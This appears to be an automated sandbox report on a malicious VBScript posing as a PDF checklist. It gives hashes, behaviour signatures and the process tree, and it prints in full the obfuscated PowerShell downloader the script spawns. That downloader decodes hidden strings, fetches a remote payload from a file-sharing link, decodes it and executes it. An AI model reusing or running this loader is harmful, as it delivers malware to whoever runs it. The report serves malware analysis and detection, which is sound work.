Analysis

  • max time kernel
    299s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    06/11/2024, 09:51

General

  • Target

    rA01_278 Check list·pdf.vbs

  • Size

    14KB

  • MD5

    9becd037359f4e017d31dc8ec143ec55

  • SHA1

    dd98bea234f0b59af645b1a78ee2ca201ad7f1f5

  • SHA256

    bec952140d46bb6b997483d3f1aba4228d80a943c1a956568754231ff3e668ee

  • SHA512

    b49ee61f497b0a88f5c182ed97bc5db0da64a04f7154f7aa81be077bbaed7f949fabf02a751da51bd12f600600c622078cfa03c7353bf8fe3e32d71751aa44ea

  • SSDEEP

    192:QbbM68CG8YWX/+mg0Q9bSu5C1YhhzbmpGSvEX1Dks6Dz4CrZQI57b/25vGFMjw7y:Yb05MFJ/FsQPHoimJHFcMcA

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\rA01_278 Check list·pdf.vbs"
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:2476
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#thripple Dolkene Phrontisterion Individualising #>;$Dukken='shellburst';<#Anticreeper Tibiotarsus Pastos Broderings Lftendes #>; function Pickleworm($Naa){If ($host.DebuggerEnabled) {$Haandvaskens++;}$Smaabilledkameraets=$Rettersteds+$Naa.'Length' - $Haandvaskens; for ( $Molmen=4;$Molmen -lt $Smaabilledkameraets;$Molmen+=5){$Naablsende=$Molmen;$Republikanere228+=$Naa[$Molmen];}$Republikanere228;}function Prostern($Afhudning){ & ($Anteroflexion) ($Afhudning);}$Byggelov=Pickleworm 'SamlMUnbooTilezHveri Ti,lBlunlTr naAl m/Thia ';$Udrykningshornet=Pickleworm ' PauTP qulTragsOutf1Fort2Inds ';$Amiantus='St r[Retsn lueHa vTSejl.O.dksSiliEDa nRGenevAltaI Ln.cR lleKindP Sp.oAwkwIKarrN Quit Tr,m La aEuchn ,aiaAab.gBlodELemnRSmig]Cord:Bynk: TemSRev eDitlcurbaU uguRBurgIOrsoTIndkYaithPFrugrnappo culTParkOA.giCOpdro,gleLLamp=S.mm$ D.sULamaDNi,prEnemYs rukForgnwilliVa,iNimpeGKiwisPrisHChriOEn eRDiffNtaareTuskTLtap ';$Byggelov+=Pickleworm ' Hu 5 loo. duw0 Str Pa (SaltWAl ui St,nAntid InfoMennw Jo sIn e FariNtaylT orb Anm1Afko0Gall.i,oi0Sept;P,le ,akWSpodiE wan San6Viss4.nde;Mach Jurax ag6Kirs4kryd;Hj m Odd r .fsvPe,s: Chr1Nedb3alle1Angs.dist0Buel) ora Hy sGForseBe.ecFo ek Tobo Gor/Dext2Gen 0 Sli1.nci0 Sae0Fejl1Guet0 Unc1 R n Ha FKys iSprerSt eeOedofKonfoSidexCitr/Ante1R ce3 Pru1Acce.Be.l0 Lep ';$sadelmageren=Pickleworm ' ggluBerrSRenseSu drS ra-StamASaltgKeeceAngoN BzeTBlac ';$lovgivningsomraaderne=Pickleworm 'Anfohdeh t GattP.anpra esOpt.:Drue/Uset/Sup.dFornrKrigiKmpevCenteCyma.P plgPruno SavoBastgKopslT.ltePo,i. Va cOmnioDentmStor/ benustylc fde?JoureBambxF brp CosoByporMytht Out=towndExceoInitwBradn ivelBigaoT.lkaD scd Vac&EffoiKegld Spr=Kntr1 Ae,zBesks AmusSubaPcruePS veLMngeiTawp7 bal1StreSPappsPhosDOxyrdUnreWAfteXContJFu.dLJohaMVilli IscUB oh8indlq Affh koeLEr oW CutXS,vaZAbonsAktiSPol bDicabPegafP,on ';$Skaltendes=Pickleworm 'L.de> S.a ';$Anteroflexion=Pickleworm 'sligiHisteRichXUdsv ';$Stangspringerens='Forholdsmssige252';$Symboliseredes='\Lhund.Sty';Prostern (Pickleworm 'Tota$IntogI ollFo.tOD scbPhoeA TumlPo i: FecBHundA FutgSt me SlyN SkiDMars=Wor $ Cdre arlNAu ev Non:R.gsA rkePP omp oppdProka .opTSylfAForn+Fysi$PastsUdply ensmS,ndb TrooInsklpredI Ar.S ateE,fskrNitrESva DT reE RepSPomp ');Prostern (Pickleworm 'Int,$BenzGMi tlUnorofosfBTechAUnddL G.o:Bl dSElekuQuinB priMDebieH orN Ko IPersnRverGG nteO sha rveL as=Lace$SkaklAflaoBugsv CymgKon iFundVEmbenTr aI ultNArmegP keS ogOKontmLasirPl taG maABonndMonoECirkr,ipsNBeateAuto.CastS Chlptab LNin I.opgtGrei(Tilh$Tel s HomK erfAPrveL Gr TSelvE vejn ,esDUndeeKil,srill)Di k ');Prostern (Pickleworm $Amiantus);$lovgivningsomraaderne=$Submeningeal[0];$Effortfully=(Pickleworm 'Supe$ F.agGar.lSto O,ubtBTresAGaleLNedp:ExtrlFi,eiTripN NonD,inerGendiSyltn LalGMilk=omkoNTr cERhamwSt g-L bio oruBSerpJEldrePyntCDonoTImbl PolySPattYHogfS LyrtBlteEStimmg ls. ffaN uvEVigrt Gra.quinW HeeERestbS.vrCSirlLKommI T,sEAltmn Su tKoor ');Prostern ($Effortfully);Prostern (Pickleworm ' Hal$ At lFleriSkrenAvandNrherSkoriGourn c ng Hje.HippHBiebe VoyaUdgadDisce SchrMembsPo t[K or$O trsDep aSuffd L.we Pr l Dogm eboa malgKonteNo cr C ieStatnKon.]Fals=Unde$R baB Besy lygmanig.kolekolll ejoAgenvSnu ');$frastdte=Pickleworm 'Kvot$ Nodlrei iVansn rbldH.ddrEngaiDe,pn Mi,ga ti.AnhoDSurbo AarwSemin ConlS eroEnteaHalldD,flF Stji S,alAr ie Tdl(Brod$ Serl inso G dv uskgAnveiTanovHap nUndeireginb sngForhsScamo KirmTrekrFuldaTa oaDiscdBesmeTrepr eponDrevebuny,Well$BaroMSy soCordrSa.ttSautmB.jeaDetei Ig,nGejssN,xu)S ov ';$Mortmains=$Bagend;Prostern (Pickleworm ' Ch,$InduGPa,fLAus.O,clebOutdaEv lLAsy,:moulP BrsrUnree PetANondDIso vMgbeENed.R V,cTPidgeStatNAschC UnpY Mgl=s mk( steT HjgeVandSNephTKon,-AlaiP jkoAPostt okhHSym Val$How.mA too SkyrAvisTKrusmG.avA neeITra nFdsesKurs).air ');while (!$Preadvertency) {Prostern (Pickleworm 'Deku$AcasgVed.lSupeoK libSkndaU anl Ta :Co sN Pa oFlyvvUsureClunmRevalspgeoUndebAndraUndetEksaeSub =Bars$ PoltAf nrFiguu skie M g ') ;Prostern $frastdte;Prostern (Pickleworm 'WatesTrueTVrgeAFemiRLo,eTOutt-Class nusLTracESpyfeFa spFor Vaab4 Ban ');Prostern (Pickleworm 'Inst$justGF nhLMohooExtrBTje aE lalSpro:DingP PerRRoofe Ad.ASemiDpla vAmanE arkrFlelt Si,ePostnBajac He YPort=funk(ViliT Flye R bSD arTStra-Is tPUn.iaFljatBranhFred B g$ AlcmS uloWe rR KomTR elMImpraPantiEp rN Unsssomm)Udd ') ;Prostern (Pickleworm 'Fors$Favog Genl onuoInt.BOcelATranlIndo:ReviLTegnAFishgs anKStilARamegBelaeCohonPers= Tan$benzG actlCoggo FlybHygrA ArrLEnk : RepFLinerRd ia N.tnunerk,esilHelmiUgenNRegniMyndzPictA yloTNoiliArrooUnddN ,ar+Crys+ ods%Svag$ AntsUnreuA lab SemMP nierib nFootIKan nXy iG MiseVranA B alPeti.Perlc SneO Et,UTillN rivTJogg ') ;$lovgivningsomraaderne=$Submeningeal[$Lagkagen];}$Theorises=318880;$Devil=30838;Prostern (Pickleworm 'Cryp$MawkGAnn.L,ivuoSnapBK,teA MarLAnve:Sp.nU ngrnTeg DFitmLTra BAlba Ov r=Isva MyngBissEBal TSeku-F.rbc anto K uNMotot ClyEPrednDispt lde M nu$Pat.M ThyoPattRLititSkamMSociARougi CheNna bs Pit ');Prostern (Pickleworm 'Tire$Phylg Sa l VejoPtysbEgepaMin,lN ve:KompWarveaPen,gAffonmepheBro rHjrniKattaRe,vnFla aSten Sta=C si Aars[Q avSUnmoyManis .vet.vere UbemTr v.ForaCChl.oArimnSte vOvereP eorBra tSmad]Unde:play: P oFRevirAgteoEyesm.isfB K ba .vesFrileFor 6Supr4MakeSSagstInkorBjrgiUntanSy,hgFlip(Elev$KillU utnBantdBortlBro bEtti)Mona ');Prostern (Pickleworm 'Pres$CockGNo,cLSkraO F rBpostaBasnLNo,f:Sau bLandAFernRY,msIpr sSInte Wenn=Rea Rinc[ResiSSkanySignS Ol Tde eePau,MFibr.He ttTeeuEPri.xskumtSyna.Supee Un nTiptcUnceoSi hDRidsI VagNIdnhGSwit]Scre:Ti b: NemAAalbSCla cyo siUdpriElec. dr gValgEIdeitSpresKjerT turRVen,I AntNGhaugGu s(Orig$PommWKeloaCantGHoplnVarsE MasrPel,ItoxiAN naN SpaA Wel)Oe e ');Prostern (Pickleworm 'Sco $Pen gF.rrlBangOAmbuB PeraCa cLBibe:ShoruRefrN NeuCFrafU anRUnclsInc I steN Anng.isk=,lip$NonrBPaciaTe.eR Ta.I .orS her.Rap STol,U AntB,ttrsLy,eTDisnRPaakIquinNSupeglort(Wa d$Gemmt ampHtyndERedioMildroppoi PlaSKittE TopsAfsk,Mpon$ShimdVirkeMateVSteniSeafL.kud) dib ');Prostern $uncursing;"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2628

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\CabEA61.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • memory/2628-20-0x000007FEF603E000-0x000007FEF603F000-memory.dmp

    Filesize

    4KB

  • memory/2628-22-0x0000000002390000-0x0000000002398000-memory.dmp

    Filesize

    32KB

  • memory/2628-21-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

    Filesize

    2.9MB

  • memory/2628-23-0x000007FEF5D80000-0x000007FEF671D000-memory.dmp

    Filesize

    9.6MB

  • memory/2628-25-0x000007FEF5D80000-0x000007FEF671D000-memory.dmp

    Filesize

    9.6MB

  • memory/2628-24-0x000007FEF5D80000-0x000007FEF671D000-memory.dmp

    Filesize

    9.6MB

  • memory/2628-26-0x000007FEF5D80000-0x000007FEF671D000-memory.dmp

    Filesize

    9.6MB

  • memory/2628-27-0x000007FEF603E000-0x000007FEF603F000-memory.dmp

    Filesize

    4KB

  • memory/2628-28-0x000007FEF5D80000-0x000007FEF671D000-memory.dmp

    Filesize

    9.6MB

  • memory/2628-29-0x000007FEF5D80000-0x000007FEF671D000-memory.dmp

    Filesize

    9.6MB

  • memory/2628-30-0x000007FEF5D80000-0x000007FEF671D000-memory.dmp

    Filesize

    9.6MB